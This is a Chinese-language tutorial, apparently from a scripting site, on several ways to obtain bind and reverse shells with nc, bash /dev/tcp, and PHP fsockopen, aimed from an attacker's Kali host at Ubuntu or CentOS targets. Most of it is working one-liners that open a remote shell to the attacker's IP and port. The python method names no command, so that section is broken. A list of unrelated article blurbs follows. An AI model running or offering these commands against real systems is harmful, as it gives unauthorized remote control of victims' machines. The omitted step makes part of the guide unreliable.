詳解NC反彈shell的幾種方法
假如ubuntu、CentOS為目標服務器系統(tǒng)
kali為攻擊者的系統(tǒng)，ip為：192.168.0.4，開放7777端口且沒被占用
最終是將ubuntu、CentOS的shell反彈到kali上
正向反彈shell
ubuntu或者CentOS上面輸入
nc -lvp 7777 -e /bin/bash
kali上輸入
nc ip 7777
正向反彈是目標機先執(zhí)行nc命令，然后kali上再進行nc監(jiān)聽，即可反彈shell。
需要目標機安裝nc。
反向反彈shell
方法1：bash反彈
bash -i >& /dev/tcp/ip/port 0>&1
但首先需要在kali上使用nc監(jiān)聽端口：
nc -lvp 7777
此方法在ubuntu下不會反彈成功，CentOS可以反彈成功。
方法2：python反彈
反彈shell的命令如下：
首先，使用nc在kali上監(jiān)聽端口：
nc -lvp 7777
在CentOS或者ubuntu下使用python去反向連接，輸入：
此方法ubuntu和Linux均反彈成功。
方法3
首先在kali上輸入nc監(jiān)聽：
nc -lvp 7777
在CentOS或者ubuntu 上使用nc去反向連接，命令如下：
nc -e /bin/bash 192.168.0.4 7777
方法4：php反彈shell
首先在kali上輸入：
nc -lvp 7777
然后在目標機上輸入：
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
或
php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意php反彈shell的這些方法都需要php關(guān)閉safe_mode這個選項，才可以使用exec函數(shù)。
遇到反彈后不是正常的shell，可用命令：
python -c 'import pty;pty.spawn("/bin/bash")'
轉(zhuǎn)化為常規(guī)的shell。
到此這篇關(guān)于詳解NC反彈shell的幾種方法的文章就介紹到這了,更多相關(guān)NC反彈shell內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
這篇文章主要為大家介紹shell中的case語句：可以把變量的內(nèi)容與多個模板進行匹配，再根據(jù)成功匹配的模板去決定應該執(zhí)行哪部分代碼2013-11-11
這篇文章主要介紹了Linux 中C語言getcwd()函數(shù)的用法的相關(guān)資料,需要的朋友可以參考下2017-04-04
這篇文章主要介紹了Webshell基礎(chǔ)知識深入講解，有對于shell和對于服務器感興趣的同學可以跟著小編一起來研究下2021-03-03
linux shell實現(xiàn)隨機數(shù)幾種方法分享(date,random,uuid)
這篇文章主要介紹了linux shell實現(xiàn)隨機數(shù)多種方法（date,random,uuid),需要的朋友可以參考下2015-10-10
linux自動重啟tomcat腳本分享,大家參考使用吧2013-12-12
在Linux系統(tǒng)中,文件名修改是一個常見且重要的操作,文件名修改可以更好地管理文件和文件夾,使其更具可讀性和有序性,本文將介紹三種在Linux系統(tǒng)下常用的文件名修改方法,需要的朋友可以參考下2025-03-03
這篇文章主要介紹了linux下socket編程常用頭文件，非常不錯，具有參考借鑒價值,需要的朋友可以參考下2017-10-10
CPU負載監(jiān)控腳本代碼，需要的朋友可以參考下2013-01-01
換行相信大家都不陌生,下面這篇文章主要給大家介紹了關(guān)于shell腳本換行問題的相關(guān)資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下2023-02-02
這篇文章主要介紹了linux創(chuàng)建PHP定時任務的實例的相關(guān)資料,需要的朋友可以參考下2017-07-07